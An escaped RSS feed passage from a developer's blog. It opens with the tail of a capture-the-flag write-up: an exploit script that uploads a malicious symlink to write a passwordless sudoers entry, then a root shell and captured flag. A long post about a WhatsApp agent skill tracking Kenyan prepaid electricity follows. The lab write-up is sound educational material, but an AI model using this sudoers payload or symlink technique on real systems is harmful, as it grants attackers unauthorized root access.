    &lt;span class="n"&gt;password&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;PASSWORD&amp;gt;&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ben ALL=(ALL) NOPASSWD: ALL&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

    &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="nf"&gt;login&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;get_application_token&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;repo_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;create_malicious_repo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;repo_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;upload_malicious_symlink&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;exploit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;repo_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Running the script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 new_exploit.py &lt;span class="nt"&gt;-u&lt;/span&gt; http://127.0.0.1:8080
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  8. Final Escalation
&lt;/h2&gt;

&lt;p&gt;After the script reported success, we returned to our SSH session as &lt;code&gt;ben&lt;/code&gt; and verified our new privileges:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;ben@silentium:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt;

ben@silentium:~&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;sudo cat&lt;/span&gt; /root/root.txt
7a4a0316f8faed5f786a5febcfcd0040
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Root Flag Captured!&lt;/strong&gt; Machine Owned.&lt;/p&gt;

&lt;p&gt;Lets Connect - Lewis Sawe: &lt;a href="https://www.linkedin.com/in/lewisawe/" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;br&gt;&lt;br&gt;
Buy me &lt;a href="https://buymeacoffee.com/lewisawe" rel="noopener noreferrer"&gt;coffee&lt;/a&gt; ☕&lt;/p&gt;

</description>
      <category>ai</category>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>I Made My WhatsApp Predict When My Electricity Will Run Out with Openclaw</title>
      <dc:creator>Lewis Sawe</dc:creator>
      <pubDate>Sat, 25 Apr 2026 17:10:27 +0000</pubDate>
      <link>https://dev.to/lewisawe/i-made-my-whatsapp-predict-when-my-electricity-will-run-out-with-openclaw-48eh</link>
      <guid>https://dev.to/lewisawe/i-made-my-whatsapp-predict-when-my-electricity-will-run-out-with-openclaw-48eh</guid>
      <description>&lt;p&gt;&lt;em&gt;This is a submission for the &lt;a href="https://dev.to/challenges/openclaw-2026-04-16"&gt;OpenClaw Challenge&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  What I Built
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;KPLC Sentinel&lt;/strong&gt; is an OpenClaw skill that tracks prepaid electricity for Kenyan households.&lt;/p&gt;

&lt;p&gt;Some context for those outside Kenya: electricity here works differently from most of the world. Instead of getting a bill at the end of the month, most Kenyan homes use a prepaid system. You send money via M-Pesa (mobile money), receive an SMS from Kenya Power (KPLC) with a 20-digit token number and the units you purchased, then physically punch that token into a meter box mounted on your wall. The meter counts down as you use power. When it hits zero, the lights go off. No grace period, no warning.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnat9hm6lrthbpy9yxpfy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fnat9hm6lrthbpy9yxpfy.png" alt="KPLC Blackouts"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;There's also no usage dashboard. No app that tells you how fast you're burning through units or when you'll run out. The only way to check your balance is to walk to the meter and press 20# on the keypad. Most people don't bother until the power cuts.&lt;/p&gt;

&lt;p&gt;On top of that, Kenya Power publishes a weekly PDF listing planned maintenance outages by area. If your neighborhood is on the list, you'll lose power for 8-10 hours on the scheduled day. These notices get posted on their website and sometimes shared on social media, but most people miss them entirely.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fff15q7h2684fngpdda1r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fff15q7h2684fngpdda1r.png" alt="Weekly"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;KPLC Sentinel fixes all of this. It tracks token purchases and meter readings, predicts when you'll run out, monitors your spending against a budget, spots usage patterns, and scrapes the KPLC maintenance schedule to warn you about planned outages. The whole thing runs through WhatsApp (or Telegram), which is how most Kenyans communicate anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌─────────────┐     ┌──────────────────┐     ┌─────────────┐
│  WhatsApp /  │────▶│  OpenClaw Agent   │────▶│  SKILL.md   │
│  Telegram    │◀────│  (LLM routing)   │     │  (routing)   │
└─────────────┘     └──────────────────┘     └──────┬──────┘
                            │                        │
                    ┌───────▼────────┐      ┌───────▼───────┐
                    │   SOUL.md      │      │ entrypoint.py │
                    │ (personality)  │      │ (returns JSON)│
                    └───────┬────────┘      └───────┬───────┘
                            │                       │
                    Agent composes          ┌───────┼────────┐
                    response from     ┌────▼───┐ ┌──▼──┐ ┌──▼───┐
                    JSON + persona    │logic.py│ │parse│ │init_db│
                                      │(core)  │ │ r.py│ │  .py  │
                    ┌──────────────┐  └────┬───┘ └─────┘ └──────┘
                    │ HEARTBEAT.md │       │
                    │(6hr/weekly)  │  ┌────▼─────┐  ┌──────────┐
                    └──────┬───────┘  │  SQLite   │  │ KPLC PDF │
                           │          │ (local)   │  │ (remote) │
                    ┌──────▼──────┐   └───────────┘  └──────────┘
                    │ sentinel.py │
                    │ (alerts)    │
                    └─────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;All data stays local. The only outbound network call is to download KPLC's maintenance PDF from their public website.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I Used OpenClaw
&lt;/h2&gt;

&lt;p&gt;KPLC Sentinel is published on &lt;a href="https://clawhub.ai/lewisawe/kplc-sentinel" rel="noopener noreferrer"&gt;ClawHub&lt;/a&gt;. Install it with &lt;code&gt;clawhub install kplc-sentinel&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The agent is the brain, the scripts are the data layer.&lt;/strong&gt; This is the core design decision. The Python entrypoint returns structured JSON, not formatted text. The agent reads the data, applies the Stima persona from SOUL.md, and composes a natural response. The skill never prints a user-facing message. It returns things like &lt;code&gt;{"action": "balance", "runway_hours": 18.0, "estimate_source": "appliances", "tip": "avoid running the water heater"}&lt;/code&gt; and the agent turns that into "Stima yako iko na roughly 18 hours. That's tight — avoid running the water heater to stretch your units."&lt;/p&gt;

&lt;p&gt;This matters because it means the personality, tone, and language all come from the agent, not hardcoded strings. The same JSON data could be presented differently depending on the SOUL.md persona, the user's language preference, or the chat platform.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Natural language in three languages.&lt;/strong&gt; The SKILL.md routing table maps natural language to commands. Users can say "stima itaisha lini?" (Sheng), "nimebakisha units ngapi?" (Swahili), or "will my power last until Monday?" (English) and the agent routes all three to the balance check. No translation code in Python. The agent handles it because SKILL.md tells it how to map intent to commands.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xfynotulvropqwnqrna.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0xfynotulvropqwnqrna.png" alt="Languages"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SKILL.md routing.&lt;/strong&gt; The frontmatter and markdown body tell the LLM when to activate this skill. I rewrote the trigger section multiple times. The first version was too broad, catching messages like "what's your power move?" and trying to record them as meter readings. The final version requires the &lt;code&gt;stima&lt;/code&gt; prefix for direct commands, auto-detects forwarded KPLC SMS by their distinct &lt;code&gt;Token: / Units:&lt;/code&gt; format, and maps natural language about electricity to the right command.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;HEARTBEAT.md scheduling.&lt;/strong&gt; Every 6 hours, the agent checks the burn rate against the current balance. If there's less than 24 hours of power left, it sends a warning. It also checks for planned outages and budget status. Weekly on Monday, it sends a consumption summary with week-over-week comparisons and day-of-week patterns. All of this happens without the user asking.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp762tdg5odmtmpqrv9tz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fp762tdg5odmtmpqrv9tz.png" alt="Reminders"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Appliance-based estimates from day one.&lt;/strong&gt; During onboarding, the skill asks what appliances you have. It maps each one to realistic consumption using a (wattage × typical hours per day) model. A fridge is 150W × 24h. A water heater is 3000W × 5 minutes. An iron is 1000W × 10 minutes. This means the skill can predict how long your tokens will last before you've ever taken a meter reading. As real readings come in, the actual burn rate takes over.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgkeo71nz0rm6xchhlfmn.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fgkeo71nz0rm6xchhlfmn.png" alt="Applicances"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Outage reminders.&lt;/strong&gt; When the skill detects a planned outage in your area, the agent sets a reminder for the evening before (around 8 PM) so you can charge your devices and plan ahead. The outage data includes ISO dates so the agent can calculate the reminder timing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9664lpdwvyh0ahiysmi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe9664lpdwvyh0ahiysmi.png" alt="Reminders"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;M-Pesa top-up instructions.&lt;/strong&gt; When your balance is low, the agent doesn't just warn you. It tells you exactly how to buy more tokens: M-Pesa Paybill 888880, account number = your meter number, and asks you to forward the confirmation SMS back so it can track the purchase.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfqnwak6lk4xcgddda58.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvfqnwak6lk4xcgddda58.png" alt="Mpesa"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multi-skill composability.&lt;/strong&gt; Because the skill returns structured JSON, other OpenClaw skills can act on the data. A calendar skill could create events for planned outages. A payments skill could initiate M-Pesa top-ups when balance is critical. The skill doesn't need to know about these. The agent orchestrates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Household onboarding.&lt;/strong&gt; On first use, the skill asks how many people live in the house, what area they live in, and what appliances they have. The area is used to match against KPLC's outage schedule. The appliance list powers both consumption estimates and contextual tips when balance is low.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkvsi8y298pwg8kfaz88v.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkvsi8y298pwg8kfaz88v.png" alt="household"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Budget tracking.&lt;/strong&gt; Users set a monthly electricity budget (&lt;code&gt;stima budget 3000&lt;/code&gt;). The skill tracks spending against it and warns at 80% and 100% thresholds.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Usage insights.&lt;/strong&gt; The skill compares this week's consumption against last week and identifies which days of the week are heaviest. Turns raw data into something actionable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;PDF scraping for outage alerts.&lt;/strong&gt; The skill downloads KPLC's Power Maintenance Notice PDF directly from their website, splits the two-column layout, and regex-parses all scheduled outages with areas, dates, and times. It then matches against the user's area. The PDF is cached for 1 hour to avoid hammering KPLC's server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;pdf_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;gettempdir&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;kplc_schedule.pdf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                                                                 
  &lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;urlretrieve&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KPLC_SCHEDULE_URL&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;pdf_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                                                                                             

  &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pdfplumber&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pdf_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                                                                                                              
      &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pages&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;                                                                                                                          
          &lt;span class="c1"&gt;# Split two-column layout into left and right halves                                                                                        
&lt;/span&gt;          &lt;span class="n"&gt;left&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;crop&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;extract_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                                                                        
          &lt;span class="n"&gt;right&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;crop&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nf"&gt;extract_text&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;                                                              

          &lt;span class="c1"&gt;# Regex-parse AREA, DATE, TIME from each column                                                                                             
&lt;/span&gt;          &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;left&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;right&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;                                                                                                                  
              &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;                                                                                                     
                  &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AREA:\s*(.+?)\n.*?DATE:\s*(.+?)\s*TIME:\s*(.+?)[\n\r]&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                                                           
                  &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IGNORECASE&lt;/span&gt;                                                                                                                 
              &lt;span class="p"&gt;):&lt;/span&gt;                                                                                                                                      
                  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;user_area&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;                                                                                               
                      &lt;span class="n"&gt;alerts&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;area&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;area&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;date&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;date&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;time&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt; 

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Sheng personality via SOUL.md.&lt;/strong&gt; The agent persona ("Stima") speaks casual English with Kenyan Sheng/Swahili flavor. But the personality lives in SOUL.md, not in the Python code. The scripts return data; the agent adds the flavor. This is how OpenClaw skills should work.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Local SQLite storage.&lt;/strong&gt; All data stays on the user's machine. No cloud sync, no external API beyond the LLM provider. The database auto-initializes on first message with owner-only file permissions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security hardening.&lt;/strong&gt; Parameterized SQL everywhere. User input via stdin heredoc (no shell injection). Profile values sanitized before display (no chat injection). DB error messages don't leak internals. Input length capped. Outbound requests locked to kplc.co.ke HTTPS only.&lt;/p&gt;

&lt;h2&gt;
  
  
  Demo
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://clawhub.ai/lewisawe/kplc-sentinel" class="crayons-btn crayons-btn--primary" rel="noopener noreferrer"&gt;Explore KPLC Sentinel on ClawHub&lt;/a&gt;
&lt;/p&gt;

&lt;h3&gt;
  
  
  YOUTUBE
&lt;/h3&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/H-2cB4kB9k0"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it yourself
&lt;/h2&gt;

&lt;p&gt;If you have OpenClaw running, install the skill in one command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;clawhub install kplc-sentinel
pip install pdfplumber
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you're starting from scratch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-g&lt;/span&gt; openclaw@latest
openclaw onboard                              &lt;span class="c"&gt;# set up your LLM API key&lt;/span&gt;
